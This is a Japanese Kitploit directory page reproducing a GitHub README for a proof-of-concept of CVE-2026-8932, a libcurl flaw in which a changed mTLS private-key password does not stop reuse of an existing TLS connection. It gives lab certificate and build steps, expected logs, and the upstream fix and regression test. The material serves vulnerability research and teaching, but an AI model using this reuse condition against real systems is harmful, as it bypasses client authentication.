Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8932-PoC — CVE-2026-8932を再現するProof-of-concept。libcurlのコネクション再利用における不完全なmTLS設定マッチングの脆弱性で、ローカルラボサーバーとC PoCを含む。 | Kitploit
ツール/GitHubGitHub/nimaarek/cve-2026-8932-poc
脆弱性分析エクスプロイト暗号化ペネトレーションテスト論文と研究学習と教育
GitHubnimaarek/cve-2026-8932-poc

CVE-2026-8932-PoC

CVE-2026-8932を再現するProof-of-concept。libcurlのコネクション再利用における不完全なmTLS設定マッチングの脆弱性で、ローカルラボサーバーとC PoCを含む。

リポジトリを見る
11時間48分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-8932 PoC

CVE-2026-8932 の概念実証再現。libcurl のコネクション再利用における不完全な mTLS 設定マッチングの問題です。

概要

CVE-2026-8932 は、リクエスト間で相互 TLS (mTLS) 設定が変更された際の libcurl のコネクション再利用ロジックに影響します。

脆弱な条件下では、mTLS 関連の設定オプションが変更され、そのコネクションの再利用を防ぐべきであったにもかかわらず、libcurl が既存の TLS コネクションを再利用する可能性があります。

この PoC は、同じクライアント証明書と秘密鍵を使用しながら、2 つのリクエスト間で秘密鍵のパスワードを変更することで、この問題を実証します。

最初のリクエストでは正しいパスワードを使用します:

root@kitploit:~
correct-password

2 番目のリクエストでは意図的に無効なパスワードを使用します:

root@kitploit:~
WRONG-PASSWORD

libcurl が既存の TLS コネクションを誤って再利用した場合、2 番目のリクエストでは別の TLS ハンドシェイクが不要になります。その結果、新しい TLS コネクションを確立するために無効な秘密鍵パスワードが必要になることはなく、リクエストは成功します。

したがって、この PoC は CVE-2026-8932 に関連するコネクション再利用の条件を実証します。


脆弱性の詳細

プロパティ値
CVECVE-2026-8932
コンポーネントlibcurl
脆弱性の種類不完全な mTLS 設定マッチング
CWECWE-305 — 一次的な弱点による認証バイパス
影響範囲TLS コネクション再利用
プロトコルHTTPS / mTLS
クライアントlibcurl API
curl CLI影響なし
PoC の範囲ローカル実験環境

この脆弱性は、バッファオーバーフローや use-after-free のような従来のメモリ安全性の脆弱性ではなく、ロジック/設定マッチングの問題です。


技術的背景

libcurl はコネクション情報を保持し、後続のリクエストがコネクションの設定と互換性があると見なされた場合、既存のコネクションを再利用できます。

したがって、TLS コネクションの場合、再利用の前にコネクション設定を慎重に比較する必要があります。

脆弱な実装では、コネクションマッチングロジックにすべての関連する mTLS 設定フィールドが含まれていませんでした。

影響を受ける設定には以下が含まれます:

root@kitploit:~
cert_type
key
key_type
key_passwd
key_blob

この PoC で使用される重要な設定は以下です:

root@kitploit:~
key_passwd

この PoC は、暗号化されたクライアント秘密鍵と正しいパスワードを使用して TLS コネクションを確立します:

root@kitploit:~
correct-password

その後、同じ証明書と鍵を使用して別のリクエストを実行しますが、パスワードを以下に変更します:

root@kitploit:~
WRONG-PASSWORD

脆弱なコネクションマッチング実装では、既存のコネクションが依然として再利用可能と見なされる可能性があります。


PoC のコンセプト

テストは 2 つの HTTP リクエストで構成されます。

リクエスト A

最初のリクエストで TLS コネクションを確立します:

root@kitploit:~
URL:
https://server.test:8443/A

クライアント証明書:
client.crt

秘密鍵:
client.key

鍵パスワード:
correct-password

サーバーが HTTP keep-alive をサポートしているため、TLS コネクションは維持されます。

リクエスト B

2 番目のリクエストでは同じ証明書と秘密鍵を使用しますが、鍵パスワードを変更します:

root@kitploit:~
URL:
https://server.test:8443/B

クライアント証明書:
client.crt

秘密鍵:
client.key

鍵パスワード:
WRONG-PASSWORD

libcurl が新しい TLS コネクションを作成する場合、間違ったパスワードで暗号化された秘密鍵をロードすることは失敗するはずです。

しかし、libcurl が既存のコネクションを誤って再利用した場合、新しい TLS ハンドシェイクは不要です。

したがって、無効なパスワードは HTTP リクエストの成功を妨げません。


テストアーキテクチャ

実験環境は以下で構成されます:

root@kitploit:~
                         localhost
                            |
                            v
                  +---------------------+
                  | Python mTLS Server  |
                  |   127.0.0.1:8443   |
                  +----------+----------+
                             |
                             | HTTPS / TLS 1.3
                             |
                    +--------+--------+
                    |                 |
                  /A                 /B
                    \                 /
                     \               /
                      v             v
                  Same TLS Connection
                         |
                         v
                     libcurl
                     PoC (C)

重要な観察点は、/A と /B が同じ TLS コネクション上で到達しなければならないことです。


リポジトリ構造

root@kitploit:~
CVE-2026-8932-PoC/
├── README.md
├── LICENSE
├── .gitignore
│
├── certs/
│   └── .gitkeep
│
├── poc/
│   └── poc.c
│
├── server/
│   └── server.py
│
└── docs/
    ├── CVE-2026-8932-POC.jpg
    ├── CVE-2026-8932-server-POC.jpg
    ├── poc-output.txt
    └── server-output.txt

certs/ ディレクトリはリポジトリ内で意図的に空に保たれています。証明書と秘密鍵はローカルで生成する必要があります。


再現手順

要件

この PoC は以下の環境でテストされました:

root@kitploit:~
OS:
Debian GNU/Linux 13 (trixie)

アーキテクチャ:
x86_64

libcurl:
8.14.1

OpenSSL:
3.5.7

GCC:
14.2.0

再現に使用された脆弱な libcurl インストールは以下でした:

root@kitploit:~
libcurl/8.14.1

インストールされているバージョンを確認します:

root@kitploit:~
curl --version

および:

root@kitploit:~
pkg-config --modversion libcurl

1. 実験ディレクトリの作成

root@kitploit:~
mkdir -p ~/cve-2026-8932-lab/{certs,poc,server,docs}

cd ~/cve-2026-8932-lab

2. CA の生成

root@kitploit:~
cd ~/cve-2026-8932-lab/certs

openssl genrsa -out ca.key 2048

openssl req -x509 -new -nodes \
  -key ca.key \
  -sha256 \
  -days 3650 \
  -subj "/CN=CVE-2026-8932-CA" \
  -out ca.crt

3. サーバー証明書の生成

サーバー秘密鍵を生成します:

root@kitploit:~
openssl genrsa -out server.key 2048

CSR を生成します:

root@kitploit:~
openssl req -new \
  -key server.key \
  -subj "/CN=server.test" \
  -out server.csr

証明書拡張を作成します:

root@kitploit:~
printf "subjectAltName=DNS:server.test\nextendedKeyUsage=serverAuth\n" \
  > server.ext

テスト CA を使用して証明書に署名します:

root@kitploit:~
openssl x509 -req \
  -in server.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out server.crt \
  -days 3650 \
  -sha256 \
  -extfile server.ext

4. クライアント証明書の生成

クライアント秘密鍵を生成します:

root@kitploit:~
openssl genrsa -out client.key.tmp 2048

CSR を生成します:

root@kitploit:~
openssl req -new \
  -key client.key.tmp \
  -subj "/CN=Client-A" \
  -out client.csr

秘密鍵を暗号化された PKCS#8 形式に変換します:

root@kitploit:~
openssl pkcs8 \
  -topk8 \
  -in client.key.tmp \
  -out client.key \
  -v2 aes-256-cbc \
  -passout pass:correct-password

生成された秘密鍵は以下で暗号化されます:

root@kitploit:~
correct-password

クライアント証明書拡張を作成します:

root@kitploit:~
printf "extendedKeyUsage=clientAuth\n" \
  > client.ext

クライアント証明書に署名します:

root@kitploit:~
openssl x509 -req \
  -in client.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out client.crt \
  -days 3650 \
  -sha256 \
  -extfile client.ext

この時点で必要なファイルが存在するはずです:

root@kitploit:~
certs/
├── ca.crt
├── ca.key
├── client.crt
├── client.key
├── server.crt
└── server.key

5. mTLS サーバーの起動

サーバーディレクトリに移動します:

root@kitploit:~
cd ~/cve-2026-8932-lab/server

サーバーを起動します:

root@kitploit:~
python3 server.py

サーバーは以下で待ち受けます:

root@kitploit:~
0.0.0.0:8443

クライアント証明書認証が必要です。

また、サーバーは HTTP/1.1 コネクションを維持し、libcurl が TLS コネクションを再利用できるようにします。


6. PoC のビルド

別のターミナルを開きます:

root@kitploit:~
cd ~/cve-2026-8932-lab/poc

コンパイルします:

root@kitploit:~
gcc -Wall -Wextra -O0 -g \
  poc.c \
  $(pkg-config --cflags --libs libcurl) \
  -o poc

7. PoC の実行

実行します:

root@kitploit:~
./poc

PoC は以下を使用します:

root@kitploit:~
クライアント証明書 : client.crt
秘密鍵             : client.key

リクエスト A パスワード : correct-password
リクエスト B パスワード : WRONG-PASSWORD

予想される脆弱な挙動

最も重要なクライアント側の証拠は以下です:

root@kitploit:~
[+] STEP 2: Request using modified mTLS configuration
[+] Key password = WRONG-PASSWORD

* Re-using existing https: connection with host server.test
> GET /B HTTP/1.1

その後、リクエストは以下を受信します:

root@kitploit:~
< HTTP/1.1 200 OK

そして PoC は以下を報告します:

root@kitploit:~
[!!!] B REQUEST SUCCEEDED

/B が意図的に無効な秘密鍵パスワードを使用しているため、これは重要です。

重要な観察点は、単に /B が成功するということではありません。

決定的な証拠は、libcurl が明示的に以下を報告することです:

root@kitploit:~
Re-using existing https: connection

したがって、2 番目のリクエストは変更された鍵設定を使用して別の TLS ハンドシェイクを実行する必要がありません。


サーバー側の証拠

サーバーの出力は、コネクション再利用の独立した確認を提供します。

関連する出力は以下です:

root@kitploit:~
[+] TLS connection #2
    Client CN    : Client-A

[+] Connection #2 Client=Client-A Request=GET /A HTTP/1.1
[+] Connection #2 Client=Client-A Request=GET /B HTTP/1.1

重要な観察点は以下です:

root@kitploit:~
/A -> Connection #2
/B -> Connection #2

したがって、両方の HTTP リクエストは同じ TLS コネクションを通じて受信されました。

また、サーバーは両方のリクエストに対して同じクライアント ID を報告します:

root@kitploit:~
Client-A

間違ったパスワードが TLS 障害を引き起こさない理由

PoC で使用される秘密鍵は暗号化されています。

最初のリクエストでは以下を使用します:

root@kitploit:~
correct-password

これにより、libcurl/OpenSSL が秘密鍵にアクセスし、TLS コネクションを確立できます。

2 番目のリクエストでは設定を以下に変更します:

root@kitploit:~
WRONG-PASSWORD

新しい TLS コネクションを確立する必要があった場合、libcurl は暗号化された秘密鍵を再度処理する必要があり、不正なパスワードは操作を失敗させるはずです。

しかし、既存の TLS コネクションが再利用される場合、TLS セッションはすでに確立されています。

/B に対して新しいクライアント認証操作は必要ありません。

概念的に:

root@kitploit:~
Request A
   |
   | correct-password
   v
TLS handshake
   |
   v
Established TLS connection
   |
   +----------------------+
   |                      |
   v                      v
  /A                     /B
                         |
                   WRONG-PASSWORD
                         |
                         X
              No new TLS handshake
                         |
                         v
                    HTTP succeeds

コネクション再利用と TLS セッション再開の違い

この PoC は コネクション再利用を実証しており、TLS セッション再開ではありません。

この 2 つのメカニズムは異なります。

コネクション再利用

すでに確立された TLS コネクションが開いたままになり、別の HTTP リクエストに使用されます:

root@kitploit:~
TLS connection #2
    |
    +-- GET /A
    |
    +-- GET /B

2 回目の TLS ハンドシェイクは不要です。

TLS セッション再開

新しい TCP/TLS コネクションが作成されますが、以前のコネクションからの暗号化セッション情報を使用して新しい TLS ハンドシェイクを短縮します。

この PoC が依存しているのはこれではありません。

この PoC は意図的に以下を共有します:

root@kitploit:~
CURL_LOCK_DATA_CONNECT

2 つの easy ハンドル間で共有しますが、以下は共有しません:

root@kitploit:~
CURL_LOCK_DATA_SSL_SESSION

これにより、実証はコネクション再利用に焦点を当てたままになります。


証拠

リポジトリには、再現成功時のキャプチャ出力が含まれています。

クライアント側 PoC 出力

PoC output

キャプチャ出力は以下を実証しています:

  • libcurl バージョン
  • 初期 TLS コネクション
  • 成功した /A リクエスト
  • 変更された鍵パスワード
  • Re-using existing https: connection
  • 成功した /B リクエスト

完全なターミナル出力は以下でも入手できます:

root@kitploit:~
docs/poc-output.txt

サーバー側出力

Server output

サーバー側の証拠は以下を実証しています:

root@kitploit:~
/A -> TLS connection #2
/B -> TLS connection #2

完全なサーバー出力は以下で入手できます:

root@kitploit:~
docs/server-output.txt

コネクション番号に関する重要な注意

PoC を実行する前に手動の curl テストを実行した場合、サーバーは以前のコネクションを表示する可能性があります:

root@kitploit:~
TLS connection #1

このコネクションは実際の PoC 実行とは無関係です。

例えば、手動検証リクエスト:

root@kitploit:~
curl \
  --resolve server.test:8443:127.0.0.1 \
  --cacert ~/cve-2026-8932-lab/certs/ca.crt \
  --cert ~/cve-2026-8932-lab/certs/client.crt \
  --key ~/cve-2026-8932-lab/certs/client.key \
  --pass correct-password \
  https://server.test:8443/A

はコネクション #1 を作成する可能性があります。

その後、実際の PoC がコネクション #2 を作成する可能性があります。

したがって、関連する条件は絶対的なコネクション番号ではなく、PoC 実行中に以下が現れることです:

root@kitploit:~
/A and /B

が PoC 実行中に同じ TLS コネクション上に現れることです。


関連する libcurl 修正

アップストリームの修正は以下です:

root@kitploit:~
7541ae569d82fb308a5e2d94916027da4fa3ba3e

コミット:

root@kitploit:~
tls: fix incomplete mTLS config in conn reuse and session cache

この修正は、コネクションマッチングロジックに欠落していた mTLS 設定の比較を追加します。

概念的には、マッチングロジックは以下を含む値を考慮するようになりました:

root@kitploit:~
blobcmp(c1->key_blob, c2->key_blob) &&
curl_strequal(c1->cert_type, c2->cert_type) &&
Curl_safecmp(c1->key, c2->key) &&
curl_strequal(c1->key_type, c2->key_type) &&
!Curl_timestrcmp(c1->key_passwd, c2->key_passwd)

この PoC にとって重要な変更は、以下の比較です:

root@kitploit:~
key_passwd

したがって、秘密鍵のパスワードの変更は、既存のコネクションが再利用に互換性があると見なされるのを防ぐはずです。


リグレッションテスト

アップストリームの修正は、TLS 設定マッチング動作のリグレッションカバレッジも導入しました。

関連するテストは以下に関連付けられています:

root@kitploit:~
test 3303

リグレッションテストは、以下を含む mTLS 設定の差異をカバーしています:

root@kitploit:~
key_passwd
key
key_type
cert_type

例えば、同一の設定は一致するはずです:

root@kitploit:~
config A == config B

一方、鍵パスワードの変更は一致しないはずです:

root@kitploit:~
config A key_passwd = password-A
config B key_passwd = password-B

        ↓

connection match = false

これは、この PoC が検証するのと同じ設定次元です。


トラブルシューティング

/B が失敗する

/B が失敗する場合、まず libcurl が実際にコネクションを再利用したかどうかを確認してください。

詳細出力には以下が含まれているはずです:

root@kitploit:~
Re-using existing https: connection

この行が表示されない場合、脆弱性の条件は実証されていません。


/A と /B が異なる TLS コネクションに現れる

サーバーは以下を表示するはずです:

root@kitploit:~
Connection #X -> /A
Connection #X -> /B

代わりに以下が表示される場合:

root@kitploit:~
Connection #X -> /A
Connection #Y -> /B

2 番目のリクエストが新しい TLS コネクションを作成しており、意図した条件が再現されていません。

以下を確認してください:

  • CURL_LOCK_DATA_CONNECT が共有されている。
  • CURLOPT_FORBID_REUSE が有効になっていない。
  • CURLOPT_FRESH_CONNECT が有効になっていない。
  • サーバーが Connection: keep-alive を送信している。
  • HTTP/1.1 が使用されている。
  • 両方のリクエストが同じホストとポートを対象としている。

秘密鍵パスワードのエラー

クライアント秘密鍵は以下を使用して生成する必要があります:

root@kitploit:~
correct-password

その後、PoC は意図的に以下を使用します:

root@kitploit:~
WRONG-PASSWORD

対応する PoC の値も変更しない限り、秘密鍵生成コマンドに埋め込まれたパスワードを変更しないでください。


セキュリティに関する考慮事項

このリポジトリは、制御されたセキュリティ研究および脆弱性再現を目的としています。

この PoC は、ローカルでホストされるテストサーバーに対して動作するように設計されています:

root@kitploit:~
127.0.0.1:8443

許可なくシステムに対して PoC を使用しないでください。

秘密鍵と生成された証明書はバージョン管理の外に保つ必要があります。

リポジトリには以下だけを含めるべきです:

root@kitploit:~
certs/.gitkeep

生成された秘密鍵ではなく。


参考文献

  • curl Security Advisory — CVE-2026-8932
  • curl commit — tls: fix incomplete mTLS config in conn reuse and session cache
  • curl source repository

クレジット

PoC の設計、実験方法論、実装、および技術分析は、OpenAI ChatGPT (GPT-5.6 Luna) の支援を受けて AliReza によって開発されました。

人間による検証、実行、テスト、および再現は、リポジトリの作者によって 実施されました。


免責事項

このリポジトリは、セキュリティ研究、脆弱性分析、および教育目的で提供されています。

明示的な許可を得たシステムおよび環境でのみ使用してください。

ツールをダウンロード